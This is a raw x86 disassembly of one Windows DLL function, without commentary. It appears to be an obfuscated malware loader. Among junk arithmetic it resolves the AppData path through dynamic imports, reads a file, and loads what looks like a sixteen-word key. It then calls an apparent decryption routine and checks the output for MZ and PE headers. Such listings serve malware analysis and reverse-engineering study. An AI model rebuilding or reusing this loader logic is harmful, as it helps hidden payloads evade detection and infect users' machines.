mov ax, word [0x1000f090]
sub al, 0x1d
mov byte [esp + 0x11], al
mov eax, dword [0x1000f098]
add eax, 0xffff95af
mov word [esp + 0x18], ax
movzx ecx, word [0x1000f054]
mov eax, dword [esp + 0x50]
add eax, ecx
mov byte [esp + 0x101], 0x74
mov word [0x1000f054], ax
mov eax, dword [esp + 0xb0]
mov eax, dword [esp + 0x9c]
mov eax, dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
mov eax, dword [esp + 0x9c]
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
or ecx, eax
mov byte [esp + 0xff], 0x45
je 0x1000a3f7
movzx eax, byte [0x1000f005]
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
cdq
cmp ecx, edx
jb 0x1000a32a
ja 0x1000a323
cmp esi, eax
jb 0x1000a32a
mov eax, 1
jmp 0x1000a32c
xor eax, eax
mov ecx, dword [esp + 0xe0]
cmp dword [0x1000f024], ecx
jg 0x1000a353
jl 0x1000a34c
mov ecx, dword [esp + 0xe4]
cmp dword [0x1000f020], ecx
jae 0x1000a353
mov esi, 1
jmp 0x1000a355
xor esi, esi
movsx edx, byte [esp + 0x11]
xor esi, eax
movzx ecx, word [esp + 0x18]
xor eax, eax
cmp edx, ecx
cmovne eax, esi
test eax, eax
je 0x1000a388
mov eax, dword [0x100b0edc]
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 0
jmp 0x1000a3f7
movsx eax, byte [0x1000f01d]
mov esi, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
cdq
cmp edx, ecx
jl 0x1000a3a9
jg 0x1000a3a2
cmp eax, esi
jbe 0x1000a3a9
mov edx, 1
jmp 0x1000a3ab
xor edx, edx
mov ax, word [esp + 0x18]
xor ecx, ecx
test ax, ax
sete cl
cmp ecx, edx
jae 0x1000a3f7
mov ecx, dword [0x1000f028]
mov eax, dword [0x1000f02c]
add cl, byte [0x1000f098]
mov al, byte [0x1000f004]
movsx eax, al
movsx ecx, cl
imul eax, ecx
mov byte [esp + 0x14], al
mov ax, word [esp + 0x18]
movzx ecx, word [0x1000f060]
movzx eax, ax
imul eax, ecx
mov word [0x1000f054], ax
sub esp, 0x10
mov byte [esp + 0x112], 0x72
mov byte [esp + 0x10e], 0x6c
call fcn.10001940
movzx eax, ax
add esp, 0x10
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x74]
or eax, dword [esp + 0x8c]
jne 0x1000a42c
mov ax, word [0x1000f050]
mov eax, dword [0x1000f028]
xor edx, edx
mov ecx, dword [0x1000f02c]
mov ecx, dword [esp + 0x74]
mov eax, dword [esp + 0x8c]
not ecx
mov esi, dword [0x1000f098]
not eax
or esi, ecx
or edx, eax
and esi, edx
cmp esi, 0xffffffff
jne 0x1000a4cc
call fcn.10001570
mov esi, dword [esp + 0x8c]
movsx eax, al
mov dword [esp + 0x50], eax
cmp dword [esp + 0x50], 0
je 0x1000a4a0
mov ax, word [esp + 0x18]
mov ecx, 0x236
xor ax, cx
mov dword [0x1000f040], 0x33b6fa5a
movzx eax, ax
cdq
add dword [0x1000f020], eax
adc dword [0x1000f024], edx
jmp 0x1000a4dd
mov ecx, dword [esp + 0x74]
mov eax, esi
shld eax, ecx, 2
mov eax, dword [esp + 0x64]
shl ecx, 2
mov dword [esp + 0x54], ecx
test eax, eax
je 0x1000a4bf
mov dword [esp + 0x4c], eax
jmp 0x1000a4dd
movzx eax, word [0x1000f03c]
mov dword [esp + 0x4c], eax
jmp 0x1000a4dd
mov al, byte [0x100b0edc]
mov esi, dword [esp + 0x8c]
mov byte [0x1000f005], al
mov eax, dword [esp + 0xc4]
mov edx, dword [esp + 0x24]
xor dl, al
shr dword [esp + 0x58], 1
mov eax, dword [esp + 0xc4]
mov ecx, dword [esp + 0x24]
xor cl, al
sub dl, cl
mov dword [esp + 0xb0], edx
mov edx, dword [esp + 0xc4]
add dl, byte [esp + 0x24]
mov eax, dword [esp + 0xc4]
mov ecx, dword [esp + 0x68]
xor cl, al
mov word [esp + 0xfc], 0x6c44
mov eax, dword [esp + 0xb0]
xor cl, dl
movsx ecx, cl
movsx eax, al
imul ecx, eax
add cl, 0x79
mov byte [esp + 0x103], cl
call fcn.10001ca0
mov dword [0x1000f028], eax
mov dword [0x1000f02c], 0
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
cmp eax, 0xa7
jne 0x1000a589
test ecx, ecx
jne 0x1000a589
add dword [esp + 0x74], 1
movzx eax, word [0x1000f0a4]
adc esi, ecx
mov dword [0x1000f040], eax
mov dword [esp + 0x8c], esi
mov esi, dword [esp + 0x78]
jmp 0x1000a5d0
sub esp, 8
call fcn.10001860
mov ecx, dword [esp + 0x9c]
add esp, 8
mov esi, dword [esp + 0x78]
cwde
mov dword [esp + 0x34], eax
test cl, cl
je 0x1000a5c1
mov eax, dword [esp + 0x44]
or eax, esi
je 0x1000a5c1
mov eax, dword [esp + 0x34]
sub eax, 0x4c38
mov word [0x1000f070], ax
jmp 0x1000a5d0
mov al, byte [esp + 0x13]
sub al, 0x7d
add cl, al
mov dword [esp + 0x94], ecx
cmp byte [0x1000f007], 0
mov byte [esp + 0x100], 0x6e
mov byte [esp + 0x104], 0
je 0x1000a625
movzx eax, word [0x1000f03c]
mov ecx, 0x153
cdq
add eax, 0x6c71d985
mov dword [0x1000f020], eax
adc edx, 0x9ad1
mov dword [0x1000f024], edx
nop dword [eax]
movsx eax, byte [esp + 0x14]
add eax, 0x287c0961
mov dword [esp + 0x34], eax
sub ecx, 1
jne 0x1000a610
jmp 0x1000a65a
cmp dword [esp + 0x54], 0
jne 0x1000a633
cmp dword [esp + 0x34], 0
je 0x1000a65a
movzx eax, word [0x1000f094]
imul eax, dword [esp + 0x58]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], 0
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
imul eax, ecx, 0x34
mov dword [esp + 0x54], eax
push str.SHGetFolderPathW
lea eax, [esp + 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x2d8]
push ecx
push 0
push 0
push 0x1a
push 0
call eax
test eax, eax
js 0x1000c78d
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
movzx eax, cx
movzx ecx, word [0x1000f04c]
and cx, ax
movzx eax, cx
movzx ecx, word [0x1000f04c]
add cx, ax
mov eax, dword [0x100b0edc]
mov word [0x1000f04c], cx
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x80]
mov eax, dword [esp + 0x84]
or ecx, eax
jne 0x1000a6d9
mov ecx, 1
jmp 0x1000a6db
xor ecx, ecx
movsx eax, byte [esp + 0x14]
cmp eax, ecx
jle 0x1000a759
movsx eax, byte [esp + 0x11]
push esi
push dword [esp + 0x48]
cdq
push edx
push eax
call fcn.1000d360
or eax, edx
je 0x1000a759
movzx eax, word [0x1000f090]
mov ecx, dword [esp + 0x94]
cmp dword [0x1000f098], eax
jb 0x1000a734
mov eax, dword [esp + 0x90]
add al, byte [0x1001134b]
mov dword [esp + 0x90], eax
mov dword [0x1000f06c], 1
jmp 0x1000a778
movzx eax, word [0x1000f054]
mov esi, dword [0x1000f040]
cdq
sub dword [esp + 0x74], eax
sbb dword [esp + 0x8c], edx
add esi, 0x4afac675
mov dword [esp + 0x58], esi
jmp 0x1000a77c
mov ecx, dword [esp + 0x94]
test cl, cl
jne 0x1000a778
mov eax, dword [0x100b0edc]
mov dword [esp + 0x74], eax
mov dword [esp + 0x8c], 0
mov esi, dword [esp + 0x58]
mov eax, dword [esp + 0x24]
add eax, 0x34f
mov dword [esp + 0x68], eax
cmp dword [esp + 0x50], 0
jne 0x1000a7a7
mov eax, dword [esp + 0x64]
movzx ecx, cl
sub eax, ecx
not eax
cdq
mov dword [esp + 0x74], eax
mov dword [esp + 0x8c], edx
mov eax, dword [esp + 0x24]
add eax, 0x68
mov dword [esp + 0x68], eax
movzx eax, byte [0x1000f01c]
cmp ax, word [0x1000f074]
jb 0x1000a7cc
test esi, esi
je 0x1000a7cc
mov ax, word [0x1000f054]
cmp dword [esp + 0x54], 0
je 0x1000a7f1
movzx eax, byte [0x102784ab]
mov ecx, dword [esp + 0x38]
mov esi, dword [esp + 0x3c]
cdq
add ecx, eax
mov dword [esp + 0x38], ecx
adc esi, edx
mov dword [esp + 0x3c], esi
jmp 0x1000a823
mov eax, dword [esp + 0x90]
sub al, byte [0x1000f01a]
mov dword [esp + 0x90], eax
mov eax, dword [0x1000f058]
mov ecx, dword [0x1000f05c]
sub eax, 0x9e
mov dword [0x1000f010], eax
sbb ecx, 0
mov dword [0x1000f014], ecx
mov eax, dword [esp + 0x24]
mov ecx, 0x20e
add eax, 0x181
mov dword [esp + 0x24], eax
mov edx, dword [esp + 0x24]
imul edx, dword [esp + 0x68]
mov eax, dword [esp + 0x24]
sub ecx, eax
or ecx, edx
cmp dword [esp + 0x24], ecx
je 0x1000c78d
mov eax, dword [0x1000e1d0]
movups xmm0, xmmword [str.x_mac_croatian]
mov dword [esp + 0x248], eax
mov ax, word [0x1000e1d4]
mov word [esp + 0x24c], ax
lea eax, [esp + 0x230]
movups xmmword [esp + 0x230], xmm0
push eax
movq xmm0, qword [0x1000e1c8]
movq qword [esp + 0x244], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [0x1000f090], ax
mov edx, 0x3bc1
mov eax, dword [0x100b0edc]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xd0]
add eax, 0xd
mov dword [esp + 0x80], eax
adc edi, 0
xor ecx, ecx
mov dword [esp + 0x84], edi
mov eax, dword [esp + 0x24]
add eax, 0x186
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x24]
add eax, 0x230
mov dword [esp + 0xb0], eax
mov eax, dword [0x1000f06c]
test eax, eax
push str.PathAppendW
cmove ecx, dword [esp + 0x5c]
neg ecx
sbb ecx, ecx
inc ecx
movzx eax, cx
movzx ecx, byte [0x1000f01c]
and cx, dx
mov edx, 0xfded
add cx, ax
movzx eax, cx
movzx ecx, word [0x1000f074]
and cx, dx
add cx, ax
movzx eax, cx
mov ecx, dword [0x1000f06c]
add ecx, eax
mov word [0x1000f074], cx
mov eax, dword [esp + 0x28]
add eax, 0x257
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x54]
add eax, 0x64204112
mov dword [esp + 0x38], eax
lea eax, [esp + 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x38]
mov esi, eax
mov ecx, dword [esp + 0x3c]
or edx, ecx
mov byte [esp + 0x4b], 1
je 0x1000a97a
mov byte [esp + 0x4b], 0
movsx eax, word [0x1000f050]
xor edx, edx
movzx ecx, word [esp + 0x1c]
imul ecx, eax
mov al, 0xcd
sub al, byte [esp + 0x44]
movzx eax, al
test ecx, ecx
mov ecx, dword [esp + 0x74]
movzx ecx, cl
cmove edx, eax
mov eax, dword [esp + 0x90]
movzx eax, al
imul ecx, eax
sub cl, dl
cmp dword [esp + 0x64], 0
sete al
add cl, al
lea eax, [esp + 0x18c]
sub cl, byte [esp + 0x4b]
push eax
lea eax, [esp + 0x2dc]
mov byte [esp + 0x17], cl
push eax
call esi
movzx ecx, word [0x1000f080]
movzx eax, word [0x1000f080]
sub ecx, eax
add cx, word [0x1000f04c]
mov eax, dword [0x100b0edc]
mov word [0x1000f080], cx
mov word [0x1000f074], ax
movzx eax, byte [esp + 0x12]
add al, byte [0x1000f002]
mov byte [esp + 0x12], al
cmp word [0x1000f03c], 0
je 0x1000aa4f
movzx ecx, word [0x1000f068]
movsx eax, byte [0x1000f003]
not ecx
xor eax, ecx
cdq
mov dword [0x1000f030], eax
mov eax, dword [esp + 0xe4]
add dword [0x1000f088], eax
mov eax, dword [esp + 0xe0]
adc dword [0x1000f08c], eax
mov dword [0x1000f034], edx
jmp 0x1000aa6b
mov eax, dword [esp + 0x4c]
movzx ecx, word [0x1000f044]
not eax
cmp eax, ecx
jle 0x1000aa6b
movzx eax, word [0x1000f03c]
mov dword [esp + 0x34], eax
lea edx, [esp + 0x1a0]
lea ecx, [esp + 0x2d8]
call fcn.10004740
mov edi, eax
mov dword [esp + 0x20], edi
test edi, edi
je 0x1000c78d
movzx edx, byte [0x1000f006]
xor eax, eax
mov ecx, dword [esp + 0x50]
cmp edx, ecx
mov edx, dword [esp + 0x5c]
mov esi, dword [esp + 0x64]
setge al
cmp byte [0x1000f006], 0x14
mov dword [esp + 0x68], eax
sbb eax, eax
inc eax
cmp dword [esp + 0x68], eax
ja 0x1000aada
mov ecx, dword [esp + 0x50]
movzx eax, dx
sub ecx, eax
xor eax, eax
cmp esi, 0x5f
setne al
test eax, ecx
je 0x1000aada
mov al, byte [esp + 0x13]
add al, 0x13
mov byte [0x1000f01d], al
mov eax, dword [0x100b0edc]
mov dword [esp + 0x50], 0xcf
mov dword [esp + 0x24], eax
movzx eax, word [0x1000f094]
cmp esi, eax
jg 0x1000ab21
mov eax, dword [esp + 0xdc]
add eax, 0x2f74
mov dword [esp + 0x54], eax
mov ecx, dword [0x1000f028]
mov eax, dword [0x1000f02c]
mov al, 0xdc
sub al, cl
add byte [esp + 0xac], al
jmp 0x1000ab9b
test dx, dx
je 0x1000ab6d
cmp dword [0x1000f078], 2
jne 0x1000ab3c
cmp dword [0x1000f07c], 0
jne 0x1000ab3c
mov ch, 1
jmp 0x1000ab3e
xor ch, ch
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
mov cl, byte [esp + 0x14]
sub dl, byte [esp + 0x90]
add cl, dl
movsx eax, ch
movsx ecx, cl
imul ecx, eax
mov byte [esp + 0x11], cl
mov eax, dword [esp + 0x34]
xor al, 0x24
mov byte [0x1000f005], al
jmp 0x1000ab9b
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
not ecx
not eax
or ecx, eax
jne 0x1000ab93
mov eax, dword [0x1000f06c]
mov ecx, dword [esp + 0x28]
mov esi, dword [esp + 0x2c]
cdq
cmp eax, ecx
jne 0x1000ab93
cmp edx, esi
je 0x1000ab9b
mov dword [esp + 0x50], 1
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x90]
add eax, 0x29e
mov dword [esp + 0x9c], eax
cmp dword [esp + 0x50], 0
mov cx, word [0x1000f04c]
setne al
add al, 0xf4
or cl, al
mov al, byte [0x1000f088]
xor al, byte [str._k]
not al
add al, cl
mov cl, dl
mov byte [esp + 0x14], al
mov eax, dword [esp + 0x24]
mov edx, dword [0x1000f078]
add eax, 0x1e0
and ecx, 0xffffff30
mov dword [esp + 0x68], eax
mov dword [esp + 0xc8], ecx
mov eax, 0x1b6
mov ecx, dword [0x1000f07c]
add edx, 1
adc ecx, 0
dec eax
test eax, eax
jg 0x1000ac05
mov eax, dword [esp + 0x24]
add eax, 0x215
mov dword [0x1000f07c], ecx
mov dword [0x1000f078], edx
mov dword [esp + 0x68], eax
mov ecx, dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
sub eax, 0x273
cmp ecx, eax
je 0x1000c78d
mov ecx, dword [esp + 0x4c]
mov esi, 0x9f
mov word [0x1000f0a4], si
inc ecx
movzx eax, word [0x1000f0a4]
cmp eax, ecx
jne 0x1000ad08
cmp word [0x1000f080], 1
jne 0x1000ad08
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0x78]
not ecx
not eax
or ecx, eax
jne 0x1000ad08
mov eax, dword [0x1000f088]
or eax, dword [0x1000f08c]
jne 0x1000ad08
cmp word [0x1000f03c], ax
je 0x1000acae
cmp byte [esp + 0xac], al
je 0x1000acae
lea ecx, [eax + 1]
jmp 0x1000acb0
xor ecx, ecx
cmp dword [0x1000f098], 0
jne 0x1000acc6
cmp byte [0x1000f01e], 0
jne 0x1000acc6
xor eax, eax
jmp 0x1000accb
mov eax, 1
test ecx, eax
je 0x1000acdc
movzx eax, byte [0x1000f005]
mov dword [esp + 0x58], eax
jmp 0x1000ad08
mov eax, dword [esp + 0x50]
not eax
test eax, eax
je 0x1000ad08
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
movsx eax, word [0x1000f050]
cdq
mov word [0x1000f070], cx
mov dword [0x101af398], eax
mov dword [0x101af39c], edx
mov eax, dword [esp + 0x4c]
mov word [0x1000f0a4], si
mov ecx, dword [0x1000f028]
push ecx
lea edx, [eax + eax]
mov eax, dword [0x1000f02c]
mov eax, dword [esp + 0x60]
sub edx, ecx
add eax, eax
mov dword [esp + 0x134], 0x65ee28a8
sub eax, dword [0x1000f030]
lea ecx, [esp + 0x134]
movzx eax, ax
mov dword [esp + 0x138], 0xce7bb4f1
mov dword [esp + 0x13c], 0xf9c2c98e
mov dword [esp + 0x140], 0x7258942a
mov dword [esp + 0x144], 0x3d67d772
mov dword [esp + 0x148], 0x539fad2d
mov dword [esp + 0x14c], 0x2b239eb1
mov dword [esp + 0x150], 0xf9223536
mov dword [esp + 0x154], 0x2c5396b0
mov dword [esp + 0x158], 0x628bdf5d
mov dword [esp + 0x15c], 0xcda414e2
mov dword [esp + 0x160], 0x97440105
mov dword [esp + 0x164], 0x3c496a45
mov dword [esp + 0x168], 0xba6144fd
mov dword [esp + 0x16c], 0x92b8291d
mov dword [esp + 0x170], 0x43543bd6
mov dword [esp + 0xc4], eax
mov ax, word [0x1000f068]
movzx eax, byte [0x1000f005]
mov word [esp + 0x80], ax
mov eax, 0x94d0
mov dword [esp + 0xa4], 0x7e7a
mov dword [esp + 0xa8], 0
mov dword [esp + 0xa4], 0x7a27
mov word [esp + 0x80], ax
mov al, byte [0x1000f01a]
mov byte [esp + 0x9c], al
movzx eax, word [0x1000f094]
mov byte [esp + 0x9c], 0x63
mov dword [esp + 0xa4], eax
mov al, byte [0x1000f004]
mov byte [esp + 0x9c], al
mov ax, word [0x1000f068]
movzx eax, word [0x1000f070]
mov dword [esp + 0xa4], 0x94bf819c
mov dword [esp + 0xa8], 0x45e83
mov dword [esp + 0xa4], eax
movzx eax, word [0x1000f074]
mov dword [esp + 0x6c], edx
cdq
mov dword [esp + 0xa4], eax
mov dword [esp + 0xa8], edx
mov al, byte [0x1000f005]
movzx eax, word [0x1000f0a4]
mov byte [esp + 0x9c], al
mov eax, 0x9d
push edi
push dword [esp + 0x1a8]
mov dword [esp + 0xac], 0x5bbf1b5c
mov dword [esp + 0xb0], 0x8d469
push edi
mov word [esp + 0x8c], ax
call fcn.10003260
mov eax, dword [esp + 0xbc]
add esp, 0x10
mov esi, dword [0x1000f028]
mov ecx, dword [0x1000f02c]
not esi
movsx eax, al
not ecx
not eax
cdq
sub esi, eax
sbb ecx, edx
or esi, ecx
jne 0x1000af16
mov al, 1
jmp 0x1000af18
xor al, al
and al, byte [0x1000f020]
cmp dword [esp + 0xb0], 0x257f1
mov byte [0x1000f01a], al
je 0x1000c75c
mov eax, 0x5a4d
cmp ax, word [edi]
jne 0x1000c75c
cmp word [0x1000f0a4], 0
jne 0x1000af97
mov eax, dword [0x1000f088]
or eax, dword [0x1000f08c]
je 0x1000af97
mov eax, dword [esp + 0x50]
mov esi, dword [0x1000f010]
mov edi, dword [0x1000f014]
cdq
sub esi, eax
mov eax, dword [0x1000f010]
mov ecx, dword [0x1000f014]
sbb edi, edx
add eax, esi
mov dword [0x1000f010], eax
mov eax, dword [esp + 0x68]
adc ecx, edi
mov edi, dword [esp + 0x20]
sub al, 0x42
mov dword [0x1000f014], ecx
mov byte [0x1000f01d], al
movsx ecx, byte [esp + 0x11]
mov edx, 0x200b
mov eax, dword [0x1000f06c]
xor al, cl
mov byte [esp + 0x11], al
mov eax, dword [esp + 0xd0]
add eax, 0x3d
mov word [esp + 0x1c], ax
nop dword [eax + eax]
mov ecx, dword [0x1000f058]
mov eax, dword [0x1000f05c]
or ecx, eax
jne 0x1000afd8
cmp word [section..data], cx
je 0x1000b020
mov ecx, dword [esp + 0x54]
movzx eax, word [0x1000f044]
neg ecx
sbb ecx, ecx
inc ecx
add eax, ecx
jne 0x1000aff5
mov eax, 1
xor ecx, ecx
jmp 0x1000b006
xorps xmm0, xmm0
movlpd qword [esp + 0x68], xmm0
mov ecx, dword [esp + 0x6c]
mov eax, dword [esp + 0x68]
add eax, dword [0x1000f088]
adc ecx, dword [0x1000f08c]
or eax, ecx
jne 0x1000b01a
mov al, 1
jmp 0x1000b01c
xor al, al
mov byte [esp + 0x14], al
sub edx, 1
jne 0x1000afc0
mov eax, dword [0x100b0edc]
mov dword [esp + 0x24], eax
movzx eax, word [0x1000f094]
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
cdq
cmp ecx, edx
ja 0x1000b04f
jb 0x1000b048
cmp esi, eax
jae 0x1000b04f
mov ecx, 1
jmp 0x1000b051
xor ecx, ecx
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
test eax, eax
ja 0x1000b06b
jb 0x1000b064
cmp edx, 0x4b
jae 0x1000b06b
mov eax, 1
jmp 0x1000b06d
xor eax, eax
cmp ecx, eax
jae 0x1000b0a4
mov ecx, dword [esp + 0xc8]
mov ax, word [esp + 0x62]
movzx ecx, cl
movzx eax, al
imul ecx, eax
mov dword [esp + 0xc8], ecx
mov ecx, dword [0x1000f010]
mov eax, dword [0x1000f014]
sub cl, 0x5f
mov dword [esp + 0x94], ecx
jmp 0x1000b0fa
mov al, byte [esp + 0x12]
xor ecx, ecx
test al, al
movzx eax, word [0x1000f0a0]
sete cl
xor edx, edx
cmp ecx, eax
movzx eax, byte [0x1000f007]
not eax
sete dl
cmp eax, dword [esp + 0x34]
sbb eax, eax
neg eax
cmp edx, eax
jbe 0x1000b0fa
movzx eax, word [0x1000f064]
movzx ecx, word [0x1000f0a0]
add ecx, eax
movzx eax, byte [0x1000f005]
or eax, ecx
mov dword [0x1000f034], 0
mov dword [0x1000f030], eax
mov eax, dword [esp + 0x24]
add eax, 0xb1
mov dword [esp + 0x68], eax
mov cl, byte [esp + 0x14]
mov al, byte [esp + 0x14]
add cl, byte [esp + 0xd0]
or al, cl
mov byte [esp + 0x14], al
mov al, byte [esp + 0x12]
add al, byte [0x1000f060]
mov byte [esp + 0x12], al
mov eax, dword [esp + 0x24]
mov ecx, dword [0x1000f078]
add eax, 0x2f9
mov dword [esp + 0xbc], eax
movsx eax, byte [0x1000f01e]
imul eax, eax, 0x6d
or ecx, dword [0x1000f07c]
cdq
mov esi, edx
mov dword [esp + 0x4c], eax
mov dword [esp + 0x5c], esi
je 0x1000b16e
mov ecx, dword [esp + 0x34]
mov dword [esp + 0xb4], 0
jmp 0x1000b172
mov ecx, dword [esp + 0x74]
mov byte [esp + 0x12], cl
mov eax, dword [esp + 0x24]
add eax, 0x52
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xbc]
add eax, dword [esp + 0x68]
mov ecx, dword [esp + 0xbc]
xor ecx, eax
mov eax, dword [esp + 0xbc]
xor ecx, 0x8f
or eax, 0x307
cmp ecx, eax
je 0x1000c75c
mov eax, dword [esp + 0x38]
sub esp, 8
mov ecx, dword [esp + 0x44]
mov al, byte [esp + 0x19]
call fcn.10001860
cwde
add esp, 8
mov dword [esp + 0x9c], eax
test eax, eax
jne 0x1000b1f3
imul eax, dword [0x1000f040], 0xaa22941c
test eax, eax
je 0x1000b1f3
xor eax, eax
cmp byte [0x1000f01e], al
sete al
mov dword [0x1000f040], eax
mov ecx, dword [0x1000f008]
mov eax, dword [0x1000f00c]
mov eax, dword [edi + 0x3c]
add eax, edi
mov word [0x1000f074], cx
mov dword [esp + 0xcc], eax
cmp dword [eax], 0x4550
jne 0x1000c75c
mov ecx, dword [esp + 0x4c]
mov edi, ecx
add edi, 0xe558
adc esi, 0
nop dword [eax]
movsx eax, word [0x1000f080]
cdq
mov dword [0x1000f098], 0xe4
cmp eax, edi
jne 0x1000b269
movzx eax, word [0x1000f03c]
push dword [esp + 0x20]
cdq
add eax, 0xc2cf147c
push 0
adc edx, 0xd0897
mov dword [0x1000f088], eax
mov dword [0x1000f08c], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 8